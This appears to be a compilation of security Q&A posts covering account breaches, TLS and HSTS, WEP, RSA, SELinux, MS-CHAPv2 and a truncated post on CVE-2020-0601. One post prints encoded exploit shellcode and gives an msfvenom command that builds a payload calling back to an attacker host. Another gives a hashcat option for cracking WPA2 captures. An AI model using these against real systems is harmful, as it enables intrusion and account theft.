Is non-malicious unauthorised usage likely to suggest a security compromise? In the midst of using a popular online service the other day, I noticed some curious activity. My usage was diverted - while I was interacting with the service - into activities that were not (and would not have been) of my choosing. This access was registered as coming from an iPhone, and I don't own such a device. The activity made some (free) additions to my account.

At first I had no idea what was going on - I thought it might be a family member using an iPhone and "borrowing" my credentials. It took some hours to establish that it was not, by which time the suspicious activity had ceased, although the changes made remained. I accessed this service using my Facebook credentials. To be sure, I then logged out of both the service in question and Facebook and changed both passwords to strong, unique ones.

I have contacted the service provider, who has told me that "another user" gained access to my account and that I did the right thing to change my password. They refused to divulge any further details.

However, this breach seems unlikely to have been malicious due to the pattern of behaviour. Specifically:

There was no attempt to change the password or email associated with the account.
There was no attempt to use the payment access on the account to purchase anything.
Access to the account was via Facebook, and there was no attempt to change my email or password there either, nor was there any suspicious activity there at all.
A third service was linked to the suspicious one, which records my activity there. None of the suspicious activity was recorded, which is most peculiar.
The suspicious activity ceased of its own accord some hours before I changed the passwords.

So there are two possible options here. Either someone got my password for this account or this service has a security flaw that can lead to shared data and activity between accounts. Obviously, either is alarming and I'd like to know which one it is.

Can the lack of malicious actions taken during the breach be taken as any indication that it was not a deliberate hacking attempt? What other possible reason would there be to make non-malicious use of someone else's account in a non-social/public service?

Can the lack of malicious actions taken during the breach be taken as any indication that it was not a deliberate hacking attempt?

Someone was able to enter your account. Activities that followed don't matter. You never know what all changes were made to your account. Maybe, the free additions were made to mask the other evil intentions. Or, maybe, it was not a deliberate hacking attempt.

But the fact remains that someone else was able to enter your account, and that in itself is a reason enough to cause worries.

  ...and that I did the right thing to change my password.

Yes, and apart from this, you should contact the website's support to inform them of such activity. They should rectify it if the problem is on their end.

Also, you should change passwords on all other websites, which are still using the hacked password.


How to run FCS_TLSS tests of for common criteria evaluation? So we are working on making a product of one of  our clients common criteria compliant. We are using tls-cc-tools for running FCS_TLSC tests but we are unable to run FCS_TLSS_EXT.1.1 test 5. Please tell how can we run those tests. where we have to make modifications in the packet.

If you are using vanilla OpenSSL, you will pass Common Criteria TLS traffic modification tests. If you are using something else and is unsure, you will have to write your own client to send modified packets.

Generally, it will be up to a CC lab to run these tests to certify your product. They will have their own tools and methods.

Keep in mind, NIAP constantly issuing technical decisions, some are revisions and clarifications on how to conduct TLS testing.


Does HTTP redirect to HTTPS automatically? When we enter an URL in a browser, it uses HTTP by default but if the server only support HTTPS, does the traffic redirect to https automatically without the user noticing?

Am I right?

If wrong, please correct me.

No, at the moment no major browsers would redirect to HTTPS automatically.

The website can set HSTS header to tell browsers that they should redirect to HTTPS automatically for future requests, or they can register themselves into HSTS preload list, and users can install browser plugins to always load HTTPS based on a white list or even to always try HTTPS first. All of these are opt-in, either the website or the user has to do something to make the browser do this. In its default configuration, without explicit action by the user or the web site, no major browsers would automatically use HTTPS.


Is (WEP) shared key authentication secure? I've been reading up on wireless authentication and shared key authentication sounds completely bonkers. I know WEP is very insecure and breaking it with aircrack-ng takes 5-15 minutes but this sounds worse.

Basics:

The station sends an authentication request to the access point.
The access point sends challenge text to the station.
The station uses its configured 64-bit or 128-bit default key to encrypt the challenge text, and it sends the encrypted text to the access point.

If someone is monitoring this authentication he will have the text challenge in plain text and its encrypted counterpart. Figuring out the passphrase from  here on seems straight forward.

Am I understanding this correctly?

The part of WEP you describe isn't really a major weakness because most encryption algorithms in use today are immune to known-plaintext attacks.  Basically, this means that having access to both the encrypted data and the decrypted plaintext will not help you figure out the key in any way - so "figuring out the password from here" would NOT be straightforward.  And since the challenge is different every time, an attacker cannot simply replay a previous solution to the router.

The main weakness of WEP is that to encrypt, it XORs the bits of network traffic with a generated keystream.  This isn't inherently bad, but the same keystream cannot be used twice with this system - and in WEP, the keystream generation process is flawed.  The keystream is generated from a random IV (sent to clients in plaintext) and the network key (the password you type into your computer to connect). The network key is the same every time, of course, so if two packets use the same IV, the keystream will also be the same.  With only 16 million possible IVs, an attacker can easily capture two packets that share an IV on a busy network, making it easy to work out the keystream and then the key.


Hashcat does 1-7 numeric characters on brute force attack when specifying 8 I have Hashcat 0.49 on Kali Linux 1.1.0a and I have a .hccap file. It's a WPA2 Network in the file so I chose a mask of 8 numeric characters (?d?d?d?d?d?d?d?d) and instead of starting at 8 numeric characters it does 1-7 first which takes a long time. How can I fix this?

I assume you are talking about the Mask Attack and not Brute-force Attack which is outdated and replaced by Mask Attack.

I had to add --pwd-min=8 to the list of parameters to force it to start at 8 digits from the get-go.

Source: http://hashcat.net/forum/thread-1538.html


May I write the CSRF token to a script The django docs tell us that our AJAX scripts should acquire the token from the designated cookie as in get_cookie('_csrf_token'). Can I rather print it to the HTML source, so that it's available to the JS context more easily?

<script>
var TOKEN = "{{csrf_token}}";
</script>
<script src="myscript.js">

Yes, if you want, there is no extra security risk as long as you make sure that if caching is enabled, only private caching is specified to prevent this value being cached by any proxy server between users and your system.

e.g. cache-control: private HTTP response header.

The Same Origin Policy will prevent the token from being read on the page (assuming you have not enabled CORS).


can I ask with an app for CVV without having the credit card number I get from my payment processor a token in place of the cardholder's CC number. To make the payment I have to ask the cardholder for his CVV. Doing this by calling the payment processor's webpage is cumbersome. Is it allowed to ask for the CVV in an app and forward that with the card-token to the payment processor?
I think it could be allowed as I am not in possession of the actual card number and I am of course not going to store the CVV.

No. The CVV is "Sensitive Authentication Data", and according to the PCI DSS page 7:

  PCI DSS also applies to all other entities that store, process, or
  transmit cardholder data and/or sensitive authentication data.

So, yes, transmitting (receiving and re-sending) just the CVV is enough to put you in scope; if you're already using Tokenization, you're probably doing that to stay out of scope, and this would be a bad idea for you.


Generating unicode javascript shellcode I'm trying to generate shellcode to modify this exploit:
https://www.exploit-db.com/exploits/24947/
It says in the basic exploit:

{'$where':'shellcode=unescape("METASPLOIT JS GENERATED SHELLCODE");

And I'm not really sure what it means. Looking at the other shellcode in the exploit it looks like utf-8 unicode encoded shellcode (eg "%u9090%u9090") but I don't know how to generate it.
I've tried with msfvenom and J to generate javascript shellcode but the output's different. Also tried with different encoders (x86/alpha_mixed or x86/unicode_upper) but they fail or they return a different format.

I saw similar shellcode in this exploit:
https://www.exploit-db.com/exploits/6317/

// win32_exec -  EXITFUNC=process CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com

var shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4937%u4949%u4949%u4949%u4949" +
             "%u4949%u4949%u4949%u4949%u5a51%u456a%u5058%u4230%u4130%u416b" +
             "%u5541%u4132%u3242%u4242%u4142%u4230%u5841%u3850%u4241%u7875" +
             "%u7969%u6d6c%u3038%u6544%u7550%u7350%u6e30%u516b%u7755%u4c4c" +
             "%u414b%u656c%u3355%u4348%u3831%u4c6f%u304b%u464f%u4c78%u314b" +
             "%u374f%u3450%u4a41%u624b%u4e69%u666b%u6e54%u666b%u6a61%u304e" +
             "%u3931%u4f50%u4c69%u6f6c%u5974%u3450%u3534%u5957%u7951%u565a" +
             "%u776d%u6f71%u7832%u6b6b%u6744%u714b%u6744%u7754%u3474%u4b35" +
             "%u6e55%u436b%u466f%u6544%u3851%u506b%u4c66%u564b%u306c%u4c4b" +
             "%u414b%u374f%u656c%u5a51%u6c4b%u654b%u4c4c%u674b%u6871%u6e6b" +
             "%u7169%u654c%u6674%u5964%u4653%u4951%u6550%u6c34%u634b%u3470" +
             "%u4b70%u4b35%u5470%u3438%u6e4c%u436b%u6670%u4e6c%u626b%u7550" +
             "%u4c4c%u6e6d%u536b%u3758%u4a78%u554b%u4c59%u6d4b%u6e50%u6550" +
             "%u6550%u4750%u6c70%u434b%u6558%u716c%u464f%u5a51%u4156%u3070" +
             "%u4d56%u6c59%u4e38%u4963%u7150%u526b%u7570%u7138%u4b6e%u4b68" +
             "%u3152%u6563%u4c38%u5958%u6e6e%u746a%u714e%u4b47%u7a4f%u7047" +
             "%u6363%u5251%u634c%u5553%u4550");

But again, no notes on how to generate it.

As hinted at in the comment above, you want to use msfvenom to generate your payload.

Start by finding which payload works best for you by using:

msfvenom -l payloads

This will show you a list of all the available payloads.

(I like to grep this for the platform, it makes it easier. msfvenom -l payloads | grep windows)

Once you have your payload selected, you need to tell venom to generate it for you.

msfvenom -p <your payload path> LHOST=<your attacking machine ip> LPORT=<the port you wish to get your shell returned to> -f js_le -e generic/none

This will output a payload that you can copy and paste into your exploit above.


How to tell if encryption has been enabled for my gmail email account when connecting via mac Mail / iOS Mail / Ive got several gmail and google apps for business accounts setup on my laptop (macbook pro running OSX 10.10) and iPhone (running iOS9). For both devices i use Apples native Mail programme / app connecting to gmail / google apps via imap / smtp.

As i understand gmail / google apps for business has the ability to encrypt the incoming imap and outgoing smtp. How can i tell if this has been enabled on my accounts ?

For the connection: Check to see what ports you're connecting to the IMAP server on. Typically 993 is the encrypted inbound port (imap) and 465 is the encrypted outbound port (smtp).

Note: 143 (in) / 25 (out) would be the unencrypted counterparts.

P.S. For the truly paranoid: Run wireshark while fetching new mail.


Best practice: Should I revoke an identity self-signed using SHA1? When I first created by PGP keypair, my identity was unfortunatly self-signed using SHA1.

I later signed again using SHA512.

Does it make sense to revoke the SHA1 signature now or will that just clutter up the keyserver?

First of all, this will not require you to revoke the user ID/identity, you can simply add a newer self-signature superseding the old, SHA-1 based signature.

I wouldn't care about the old signature. On one hand, self-signatures can be reissued as you want to, in fact they're reissued whenever you change the key preferences (those are stored in self-signatures), while the newest is to be considered the "valid" one.

Don't care about cluttering the key server network. Adding a revocation is just one more signature (or rather, one per user ID), this is no notable change for the key servers (there are thousands of new certifications each day).

But would it make sense? Well, a revocation usually explains something's fishy about the revoked signature. It was issued by mistake, you realized after some time that it was issued on wrong assumptions, the certification was not issued by you (although you'd probably rather revoke the whole key in this case).

SHA-1 might not prove secure enough in the near future. What does this mean for self signatures? You should not trust SHA-1 signatures at all any more in this case, as each of them could have been issued by an attacker. If you revoke your old SHA-1 signature, this will still not prevent an attacker from issuing new faked certifications. You generally only should consider trustworthy signatures, and ignore all others. I wouldn't treat untrustworthy self-signatures differently from ones issued by untrusted keys or weak algorithms, and simply ignore them.

All in all: the important part is you do have a trustworthy, new self-signature. The old one does not really matter any more, revoke it if you want, keep it if you don't want to clutter your key listing -- or are too lazy.


Attacks on RSA without knowledge of either key All attacks on RSA seem to require knowledge of at least the ciphertext and the public key.

However, has there ever been any evidence of an attack which simply uses a sufficiently large number of ciphertext to calculate the public and / or private key, and if so what is the recommended way to mitigate this?

I don't think anyone has ever demonstrated finding the entire public key—all (say) 2048 bits of n—but cryptographers demonstrated distinguishing public keys (popular exposition) by solving the German tank problem on ciphertexts to break the privacy claims of PLAID, the Protocol for Lightweight Authentication of IDentity developed by the Australian Department of Human Services.
The basic idea of PLAID is an identification protocol for smart cards:  When you put your smart card into a legitimate hospital terminal, the terminal proves to the smart card that it represents legitimate hospital, and the smart card identifies you to the terminal, and then the terminal dispenses health care at you like a vending machine.
PLAID is intended to provide privacy from malicious terminals:  If you put your smart card into a malicious terminal which cannot prove to your smart card that it represents a legitimate hospital, the terminal should be unable to distinguish your card from any other card.
However, in the protocol, the smart card sometimes reveals RSA ciphertexts under a public key n stored on the smart card—even to illegitimate terminals.  Every ciphertext under the key n is a nonnegative integer c < n, but since n is different for each key, the upper bound on ciphertexts is different for each key.
Specifically, a malicious terminal can use the same methods used by British statisticians during World War II to estimate the number of German tanks by examining the serial numbers c of captured tanks which are all less than the total number n of tanks.  The granularity of this estimate turns out to be enough to distinguish two smart cards' public keys simply by examining a sufficient number of ciphertexts made by them.
Not all public-key cryptosystems have this property—for example, most public-key encryption and signature schemes that rely on the difficulty of computing discrete logs in a single standard group, like X25519 or Ed25519, tend to naturally provide the various related notions of key privacy for public-key encryption, anonymous signatures, or key indistinguishability for signatures (paywall-free).


A site supports Public key length of 256 bits while best practice is 1024+ - what does this mean? Given that this is asymmetric cryptography with private/public key, I am not sure if reduced bit length is breakable easier than longer keys. I understand that the key population is reduced (hence randomness, hence brute force) however, I am still wondering, does this mean it is easily breakable? Are there any studies/research/cryptanalysis performed to measure what this mean?

The site I am referring to here is web.Whatsapp.com

India wants social media sites such as Whatsapp to make the content accessible by Government (because of hatred spread on social media that led to people being lynched!). Is it possible that the public key size is purposefully reduced to accommodate this?

I got a VPN through US and verified it is 256 bits for accessing in US too. So, is it possible that WhatsApp is not as secure as we think?

It's an up-to-date website using elliptic curve cryptography (ECC). ECC key sizes are not directly comparable with RSA, and a 256-bit key is more than enough for security -- 112-bit is the most that has ever been cracked. It's equivalent to a 3072-bit RSA key.


What is the risk of using Windows Phone 8.1 now? My friend uses Microsoft Phone 8.1 mobile for a tax accountancy firm. As it hasn't received security updates for five years I believe that is a significant information security risk. However, the principal of the firm does not believe it to be a significant risk.
Only MMS, SMS and phone calls are made on the phone. MMS is sometimes used to send tax documents to the firm via pictures. No browsing of websites is done and it isn't even connected to the corporate network.
Can you help me explain to a CPA accountant principal in Australia why it's a business risk? Do you have links to Australian government websites or professional association websites?

Unsupported operating systems can have vulnerabilities that have no patch. Over time, that threat grows. That means that it becomes trivial for an attacker to be able to breach the device. A breach of the device means that all data on it is exposed as well as all the accounts (business, email, personal, banking, etc.).
Yes, there is a chance that the OS does not have a serious flaw, but there is a small set of people in the world who can make that assessment, conclusively. And a CPA is likely not in that set.
Updating from unsupported software is listed as an "essential" item in the NCSC's Cyber Essentials certification. If you don't, you are rolling the dice.
Links:

Australia ACSC: https://www.cyber.gov.au/acsc/view-all-content/guidance/operating-system-hardening
Standards org: https://nvd.nist.gov/800-53/Rev4/control/SA-22
Industry Framework: https://www.tripwire.com/state-of-security/security-data-protection/security-controls/20-critical-security-controls-control-18-application-software-security/
Media/News: https://www.inc.com/joseph-steinberg/why-you-should-not-use-software-that-is-no-longer-.html


RSS Feed Security warnings I am looking for an service to get Security Warnings (CVE) for PHP, Apache and different Frameworks.

Does someone know an source where i am able to get those as RSS Feed?

cvedetails.com provides CVE feeds which can be filtered by product. Just access them from the product page.

PHP feed
Apache feed


APIPA traffic in router/netflow logs While inspecting some flow logs, I noticed some port 22 traffic destined to a few local servers (at 10.x.x.x) . What was surprising is that the traffic originated from a 169.254.x.x IP address. Is this normal?

IP addresses can be resolved to a hostname, but how do we identify APIPA devices that attempt to connect to certain services in a network?

It's not very common, but I've seen this occur before.

From a theoretical networking viewpoint, you can think of these addresses just as any other IP address range. So, if I were attempting to hunt down the source of this traffic, I'd start by asking "how did this traffic get to my router?".

One suggestion: look for an ARP table within the router. For example, in JunOS you would use:

show arp no-resolve

This could provide you with the MAC address for the device. From the MAC address, you can lookup the device manufacturer, which can provide more insight into which device has the IP address. Either way, note the MAC address.

Some key questions:

Is there another router connected to the physical interface of your router?
If yes, does that router have any interface addresses within the 169.254.0.0/16 subnet (unlikely, and this would be strange)? If so, repeat the previous step for this router.
If no, then it's a matter of hunting the device from that physical interface.

Some hints to hunt down the device connected to the physical interface:

If it's a direct physical connection to that router then the hunt is over!
Are there any switches connected to that physical interface? If so, look up the MAC address table in the switch and try and find the corresponding interface that matches the MAC you found in the previous step.

There's no silver bullet for tracking down the device, but repeating the steps above should help. I'd bet it's a random Windows device connected to a switch somewhere.


Does serving Tomcat via Apache Webserver improve security? This question is an ongoing discussion at work. Assume a Tomcat serving some web application and has all JMX and remote management stuff disabled. If you consider three scenarios:

Tomcat serves directly to the internet.
Apache Webserver serves to the internet, Tomcat is connected via AJP
Apache Webserver acts as a proxy between Tomcat and the internet.

Which one would you consider the most secure and why?

My vote would be number 3, with number 2 as a close second. I suppose it depends on the rest of your infrastructure. To my knowledge, AJP doesn't support encryption between hosts.

Number 3 allows you to implement an N Tiered architecture. Ideally the Apache server would be parsing/URL filtering for malicious traffic and not blindly proxying all requests to the Tomcat server.

There is a fairly decent article (with comments) here: https://communities.bmc.com/community/bmcdn/bmc_atrium_and_foundation_technologies/bmc_remedy_ar_system/blog/2013/12/20/the-pulse-why-should-i-use-a-web-server-to-front-tomcat

Even with that being said, there still seems to be some confusion as to whether Tomcat is a Webserver, an Appserver, or both! There are conflicting answers for this question.

If it were me, I'd still choose number 3 based on the above.


Achieving 'frequency separation' in wireless networks A popular recommendation from security providers is to ensure wireless networks achieve 'frequency separation' from other wireless networks.

What does 'frequency separation' mean in technical terms and what steps could an organisation take to achieve this?

A technical answer / link to an informative resource would be greatly appreciated.

Frequency separation addresses interference between an AP and other devices operating in an overlapping frequency. From a security perspective it supports the "availability" of the CIA triad. "Integrity" is not an issue since frequency separation deals with the layer 1 of the OSI model.

Long story short, you need to ensure that APs which cover overlapping areas are operating in different channels to eliminate interference (conflict) between them.

Sources:

"Wireless Networking: Know It All: Know It All" - page 347
"Certified Wireless Technology Specialist - Official Study Guide" -
page 148


UDP Flood Attack false positive Symantec keeps blocking traffic from the IP of my Comcast SMC Network gateway. It blocks traffic because it is detecting a UDP Flood Attack. According to the log the CPU usage is spiking to 100% when this attack occurs but Im not seeing this spike in the performance monitor. Symantec also detects a UDP Flood Attack when I am connected to my home network from what I assume is my home modem.

Is this a legitimate attack or a false positive? What could I do to stop the attacks?

A useful first step would be to use something like wireshark to see if you actually have high levels of UDP traffic.

If so, it could be real. If not it may well be a false positive, so you'd then need to do some more digging.

Also, try the performance monitor from SysInternals (Process Explorer) - just in case there is an issue with your existing one.


Deriving a key with PBKDF2 from RFC1751 output I am building a system that at some point requires a 256 bit key AES key. I used to feed passphrases through PBKDF2 to derive a key, but then I decided to generate random passwords of 12 words selected out of a set of 2048 words which offers me 132 bits of entropy.

Is it safe to pass through PBKDF2 the set of random words encoded or should I pass the equivalent decoded bits?

In other words, if I have the random bits CCAC 2AED 5910 56BE 4F90 FD44 1C53 4766, can I use RASH BUSH MILK LOOK BAD BRIM AVID GAFF BAIT ROT POD LOVE to derive the key?

It does not matter if you pass the random bits or the words mapped to these bits. The strength of the key solely depends on how hard it is too brute-force the input into they KDF (assuming that parameters are kept the same). And assuming that an attacker knows how the input is constructed (i.e. no security by obscurity) the time needed for brute forcing the bits or the mapped words is the same since the space of possible inputs into the KDF has the same size.


Lattice based encryption, current status? I see that a couple of years ago, post-quantum was a "5+ year horizon" project.  Is that still the case?

NTRUEncrypt in SSL and GPG encryption

As the final comment on that thread said, a two-layer approach, with something currently trusted like RSA, plus a (less-than-completely-proven) quantum safe layer, should be a safe transition: at least as secure as RSA, and as quantum safe as we can guess anything to be at this point.

The NIST post-quantum crypto competition is currently underway. When it is completed, NIST will be ready to issue a new standard for post-quantum cryptography. Until this happens, many people are reluctant to roll out their own favorite PQ scheme. There are three specific projects which are working on post-quantum cryptography (specifically PQ key exchange) that I can think of:

WolfSSL is a TLS library which supports NTRUEncrypt in its cipher suites.
The Tor Project has an open ticket for introducing a hybrid handshake into the protocol.
Google has been experimenting with their CECPQ1 algorithm recently.

Many post-quantum designs are actually hybrid designs. Both Tor Project's and Google's designs combine x25519 with NewHope so that, if a classical algorithm is found that can break the relatively new lattice-based crypto, the handshake is still at least as secure as x25519.


Does Oracle's GuardedString protect sensitive data against heap or memory dumps? Oracle's org.identityconnectors.common.security.GuardedString states this in its documentation:

  The GuardedString class alleviates [the problem that string data is kept in memory as clear text] by storing the characters in memory in an encrypted form. The encryption key will be a randomly-generated key.

Does this protect against a heap or memory dump? At first glance, it seems trivial to locate the randomly-generated key in memory, and to use it to decrypt the sensitive data.

Some deeper look into the actual implementation will help an attacker understand the data structure of a memory dump, and from what I found in EncryptorImpl there has been put no effort into obfuscating the key storage mechanism to prolong the time needed for reverse-engineering the secret. So no, this is not an effective measure against exposure of memory.

Let me provide a better usage scenario for this class:
As the key variable is private, at least it's very unlikely a developer would find his way around responding with the key by accident to an attacker (e.g. due to a bug in the control flow of a web service request handler), so there is some use for this class in ensuring the code can only help decrypting by actually decrypting in the background instead of handing out a key. After the program is stopped / taken offline, an attacker won't be able to decrypt secrets anymore, and all decryption that happened until then (when the attacker was using the program as a kind of oracle) had a chance to be logged, which can be relevant in a post-mortem analysis to figure out what data has been compromised.


What is the most used WiFi encryption? [WEP/WPA/WPA2] I am doing some research on WiFi for my school and one question I want to answer is what encryption is the most used. One day it was of course WEP and now it is WPA2 I assume, but it would be great if someone knows a recent source with percentages.

WiGLE.net is a site where people upload information about WiFi access points they've discovered.  It's not complete, but it's a very large survey that should at least show you the trends you are interested in. This table is from their current stats page:

Wireless Encryption

WPA2: 171,834,316 (56.37%)
WPA: 23,980,785 (7.87%)
WEP: 29,492,258 (9.68%)
????: 60,103,751 (19.72%)
None: 19,818,038 (6.50%)


Are Windows Hashes Encrypted in Transit? When a user logs on with domain credentials on a Windows 7 machine, I assume that some sort of handshake happens with the logon server/domain controller, where the ntlm hash sent by the user is compared to the hash on the domain controller.

If this is the case, is it possible to sniff the network traffic sent to domain controllers to intercept password hashes using arp spoofing/mtim attacks? Or are the hashes themselves encrypted in transit?

Yes, in the case of interactive logon and any "windows" network based authentication, your hashes are protected in transit. Neither Kerberos nor NTLM sends a hash, instead the handshake uses various cryptography to prove the user knows the password without ever sending it.  NTLMv1 uses VERY weak cryptography and is easily broken.  NTLMv2 and Kerberos are both very strong for now.  That said, if an attacker can capture the auth packets, they can use brute force to find the password. This is why it is vital to require long and complex passwords. https://markgamache.blogspot.com/2013/01/rehashing-pass-hash.html


What is the state of SELinux and are there alternatives? I have a bunch of virtual machines each one doing a dedicated task: one is hosting a database, another one is a web server using a specific technology, another one is a web server using a different stack, etc.

I thought about SELinux as a mean to prevent a propagation of an intrusion from one of those machines; if a hacker finds an exploit in the web server, I don't want him to be able to read /etc/shadow file or connect to NFS, or... whatever.

Unfortunately, I'm using Debian, which doesn't seem to have a very good support of SELinux. I tried it for half an hour, encountered lots of problems at installation, including the missing selinux-policy-default, and found half a dozen resources telling that Debian and SELinux don't play well together.

Technically, nothing prevents me from moving to CentOS, so my question is not what should I do to solve the problems I've encountered.

My question is rather this. Since Debian is one of the most popular distributions for the servers and, I suppose, is used in environments which are much more sensitive than mine, and since nobody seemed to have an incentive to “fix” SELinux to work flawlessly, doesn't this indicate that SELinux is not that popular in the first place?

If it's actually unpopular, what are the more popular alternatives?

Or am I overestimating the importance of SELinux, and correctly configured firewall and file permissions are all that's needed?

SELinux provides a more granular permissions system based on the concept of Mandatory Access Control (MAC) and Role-Based Access Control (RBAC).  It's much more flexible and capable than the typical Discretionary Access Controls (POSIX Permissions) and Linux Capabilities, but it really requires a lot of effort to configure and manage correctly.

Since you asked specifically about Debian, I'll point you to AppArmor, which is also a Kernel Security Module, and more frequently (in my experience) used with Debian and Ubuntu.  I've configured both SELinux and AppArmor, and find AppArmor policies easier to understand.

That being said, both of them were developed in an era where it was "normal" to have lots of users using single hosts (i.e., have shell login accounts) or to run many services from a single server.  Today, isolation is more commonly achieved by running a single service on each server (typically a VM) or using other sandbox technologies.

Both SELinux and AppArmor have a steep learning curve, and misconfiguration will either leave them useless or break legitimate use of the service.  You don't need to look much further than the volume of advice on the internet describing how to disable SELinux to realize it's not very popular.

Unless you're running shared hosting or other configurations that have multiple users operating on a single (virtual) server, I would put security effort into other spaces, such as patch management and network segregation.


How to decide whether to password protect key files in addition to full disk encryption It is customary to protect certain critical files with a password. For example: PGP keys, VPN keys, password managers, etc. The practice dates back to before full disk encryption being common.

These days, people tend to have full disk encryption. I realise that there is still a small security benefit from password protecting critical files. But a small benefit, set against a non-trivial cost of using passwords. How can an organisation decide, in a consistent and repeatable fashion, whether the minor benefit justifies the cost of password protecting?

Some things to consider:

What exactly does password protecting guard you against? What specific scenarios are you vulnerable to with FDE, but no passwords on critical files? Are you protected if you also use passwords on those criticial files? Are these realistic scenarios?
What configuration details of the laptop affect this decision? For example, password-based vs TPM-based encryption? How relevant are defences like automatic screen locks?
What password management processes are users expected to follow? Can the user use the same password for full disk encryption as for critical files? If not - how do you stop them?

I am aware that the particular decision for each individual organisation is subjective. However, to be completely clear, I am asking how a infosec professional would guide an organisation through making this decision - my question here is non-subjective.

TL;TR

It really depends on the organization.  Things to consider:

How seriously do they take security?
Is there a lot of travel that would lead to an increased risk of compromise?
Is a stolen computer or physical removal of a drive a risk?

The overhead for putting this into place is low.  For a large company with lot of company travel it's worth it to keep data safe.  In this day and age I honestly don't believe you can be too careful.  To guide them outline the risks that are involved in insecure data on a day to day, and explain the solutions are relatively non-invasive and simple to implement.  That's my $0.02.

Details

  What exactly does password protecting guard you against? What specific scenarios are you vulnerable to with FDE, but no passwords on critical files? Are you protected if you also use passwords on those criticial files? Are these realistic scenarios?

FDE protects an entire volume.  If that volume is separate from the bootable volume then you can take care your files are protected while on that volume and the volume is unmounted.  Assuming recommended good security configurations are used.  Generally once the volume is mounted it is accessible.  If the files leave that volume then they are unprotected, and if they are sensitive should be password encrypted.

If the volume is bootable, then once the BIOS boots up and the correct password is entered the entire volume is decrypted and accessible*.  This means that active attacks against your machine can access your files no problem.  In this case you absolutely need to protect any files you consider sensitive.

  What configuration details of the laptop affect this decision? For example, password-based vs TPM-based encryption? How relevant are defences like automatic screen locks?

There are lots of configuration details that can effect FDE.  These all depend on that you're using.

TPM-based encryption is good if you're worried about your hard-drive being physically removed from your computer.  A TPM ties the FDE'ed volume to a specific device.  The encryption keys are stored in the TPM and only in the TPM.  However this alone isn't fully secure.  With this configuration the computer will be FDE'ed, but boot up without any password authentication.  Some solutions offer to configure a password, or physical USB key in conjunction with the TPM.  This provides the authentication while keeping the actual encryption keys in hardware.  This is the best solution as keys held within the TPM are secure and no piece of software has them in memory.  Bitlocker provides for this configuration.  This answer contains an interesting paper about cold-boot attacks against FDE solutions.

Automatic screenlocks are always a good idea.  If someone tries to bypass by rebooting they'll run into the FDE.  If someone has your password... well something went terribly wrong.

  What password management processes are users expected to follow? Can the user use the same password for full disk encryption as for critical files? If not - how do you stop them?

Password management is probably the most important part of all this.  It's bad practice to use the same password for more than one purpose.  I don't believe that this is enforced in software solutions.  There's no secure way to enforce this.  If the software is doing things correctly with salted passwords there's no way for the software to tell if a password is used in more than one instance.  This is truly up to the user.  I would not use the same password for sensitive files as I used for the FDE.


Privacy of client's virtual machine in cloud computing As we know clients can create and run their virtual machines (VM)in the cloud computing. My question is about the confidentiality of data stored in the client's VM.

Question 1: Does data stored in a client's VM remain private in the cloud? Is the cloud able to read the data?

Question 2: Is there any way to hide data (e.g. secret keys) stored in the client's VM?

The rules are:

you cannot protect a machine from its administrator
you cannot protect a machine from someone that has physical access to it

Depending of the kind of cloud service (PaaS or IaaS), the cloud admins may be administrators of the client VM. If they are, no more questions: they can read everything from the client machine. But even it they are not, they can always take a snapshot of the running machine and put their hands on it. As on a cloud, the VM is supposed to be able to restart unattendedly, any secret must be present in invertible form in the machine itself, so if the attacker is the hosting service, you can only use obfuscation technics, but no strong encryption.

TL/DR: The answers for question 1 are no data is not private and yes the cloud can read it. For question 2 the answer is still no you cannot securely hide anything on a cloud machine.

Not necessarily relevant here, but added for completeness:

Above assumes that the data has to be used in the VM. But there is a use case where data in the cloud can be seen as securely encrypted: when the VM contains encrypted data and not the key. That means that the data has to be encrypted on a remote system and is sent in encrypted form. It can later be retrieved (still encrypted) from the same or another system knowing a decryption key. Examples are webapps using client side encryption, or even more simply, raw storage of an encrypted file or container.


pgp decryption on public pc When I want to decrypt mails on a public PC (café), encrypted with GPG, in e.g. gmail with the extension "Mailvelope" or equal - how would that be possible?

I found tools to run from an USB stick where you need to store the gpg keyring and the tool.
For "Mailvelope" I need to import the keys (also the private key) to decrypt. How safe is it, to import a private key there? Isn't the key itself secured by my passphrase? What could people do with my priv. key only?

As soon as you decrypt the data on the public PC, you must consider that it has been broken. It could be relatively safe to use such a PC to download that data onto a USB stick (assuming that you're not infecting that stick with some kind of malware at that time - another issue) but it's absolutely NOT safe to decrypt your data on said PC.

Protecting your private key with a passphrase does not grant you any guarantee: on a public machine, you're one keylogger away from losing it to the bad boys.

As to what could someone do with your private key without the password, well, they can try an offline attack in order to try to recover it. If your passphrase is long and complex enough, that might make this attack impractical but remember that, at the very least, CPU power is always increasing and that an attacker who has your encrypted private key is free to use as many systems in parallel as he wants to crack it.

So, unless all you want to protect is your private diary from your kid brother, I would not decrypt anything sensitive on a public machine (or place) if I were you.


Is MS-CHAPv2 incompatible with securely stored passwords? I have a directory service that can speak a number of protocols and is used for user authentication. Currently user credentials are stored using Bcrypt to protect them in case of a compromised database.

Unfortunately there are a number of services that I would like to point at this server that only support MS-CHAPv2 for authentication (specifically wireless equipment). MS-CHAPv2 doesn't send the password to the authentication server, instead it applies MD4 to the password to derive an encryption key and then uses that to DES encrypt a challenge hash consisting of a random values chosen by both the client and server and the user's password.

My initial feeling is in order to support MS-CHAPv2 I would have to store either the user's password in plaintext or the MD4 of the user's password. Neither of these are acceptable to me.

Is there a way to store user's passwords securely and still be able to support MS-CHAPv2?

Yes

As a challenge-response protocol, MS-CHAP2 restricts how you can store the password server-side. And it is somewhat weaker than bcrypt.

You could provide a configuration option like: Support MS-CHAP2? (warning: enabling this stores passwords insecurely)


Does CVE-2020-0601 (CRYPT32.DLL critical exploit) affect Windows 7 and is there a patch to fix it? I'm getting conflicting reports.

Search in Google: "windows 7" fix CVE-2020-0601

The top result (from PCWorld) claims that "contrary to earlier rumors, it does not affect Windows 7".

Scrolling down finds a bunch of articles that claim it affects Windows 7 and newer.

Can anyone confirm if the exploit affects Windows 7, and if so is there going to be a patch available despite end of support?

(For reference: there have been a few cases of extremely bad vulnerabilities in Windows XP that got patched anyway over the years, which provides a good precedent for this to get patched in Windows 7 if applicable)

After seeing multiple answers with mixed conclusions here and in Google searches, as well as no thorough explanations on whether or not Windows 7 is effected by this vulnerability, I took it upon myself to determine the true answer and show my testing process.

Below are screenshots of a fresh Windows 10 installation in a Virtual Machine(VM) within which I use a website (https://curveballtest.com/) that has Proof-Of-Concepts(PoC) available for this vulnerability, this is a control to prove this is working.

Windows 10

Information about the Windows 10 installation.

